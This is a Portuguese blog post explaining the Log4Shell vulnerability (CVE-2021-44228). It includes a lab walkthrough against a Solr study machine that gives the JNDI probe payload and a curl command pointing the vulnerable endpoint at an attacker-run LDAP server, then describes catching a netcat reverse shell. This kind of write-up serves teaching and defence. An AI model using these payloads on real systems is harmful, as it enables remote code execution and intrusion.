Log4Shell (CVE-2021-44228)
Como você já deve saber, no final do ano de 2021, mais
especificamente, no dia 10 de dezembro, uma vulnerabilidade na ferramenta
Apache Log4j foi identificada, a CVE-2021-44228, criou
um abalo em toda a comunidade de segurança e de desenvolvimento. Visto que, o
Log4j é amplamente utilizado e como consta em sua página oficial no GitHub, o
mesmo, já evidencia mais de 400.000 downloads.
O que é o Log4j?
O log4j é uma ferramenta Java utilizada no processo de
depuração, uma etapa crucial e muito importante em grandes projetos pois é
necessário saber o que está acontecendo por baixo dos panos. Basicamente o log4j
é capaz de dividir os logs em níveis hierárquicos, do mais baixo ao mais
severo.
Vulnerabilidade Log4Shell
Afetando milhares de empresas, serviços e apps, como pode
ser visto a partir de um compilado criado no GitHub,
essa vulnerabilidade foi classificada com uma pontuação de 10 CVSS ( Common
Vulnerability Scoring System Calculator ), oferecendo execução remota de código
(RCE) nos hosts vulneráveis.
Infectando uma máquina vulnerável a Log4Shell
Utilizando uma máquina de estudo iremos agora ver como se
aproveitar dessa vulnerabilidade e abusar de um RCE. Primeiramente escaneando a
máquina encontramos um serviço Apache rodando na porta 8983.
Acessando
esse serviço entramos na etapa de exploração e reconhecimento, nesse momento
estamos buscando qualquer tipo de informação que nos mostre que o serviço
esteja utilizando o log4j, endpoints, parâmetros, basicamente informações que
nos permita a exploração.
Em
uma das páginas dessa Dashboard podemos encontrar o diretório onde é armazenado
os logs do Solr. Analisando alguns desses logs, encontramos a endpoint que pode
vir a servir de vetor de ataque.
Para termos certeza de que o endpoint encontrado é um vetor de ataque, abriremos uma porta na máquina do atacante e enviamos uma solitação HTTP com o payload ${jndi:ldap://IP-DO-ATACANTE}.
Requisição HTTP
Resposta
Como podemos ver o endpoint está vulnerável, mas como foi feita uma requisição de protocolo LDAP a resposta tem aparência estranha e não legível. Para contornarmos esse problema, utilizaremos o marshalsec para construir um servidor de referência LDAP que vai ser usado para redirecionar a solitação da endpoint vulnerável para o local que contenha um exploit que executárá no código final. Abaixo está o código do nosso exploit hospedado em um servidor http na máquina do atacante.
Sendo assim, com o servidor de referência LDAP, o netcat escutando na porta 9999 e o servidor HTTP em execução. Enviaremos uma requisição HTTP passando a porta do servidor LDAP e o arquivo usado como Exploit.
curl 'http://10.10.177.66:8983/solr/admin/cores?foo=$\{jndi:ldap://10.2.104.95:1389/Exploit\}'
A partir desse momento o servidor LDAP recebe uma resposta e
lança a solicitação para o servidor HTTP onde está o arquivo Exploit que
executa o netcat na máquina vulnerável e envia a bash para o atacante.
Servidor LDAP
Servidor HTTP
Recebendo
a conexão com a máquina vulnerável a log4Shell, executando um ls e
listando o conteúdo da máquina invadida.
0 comentários: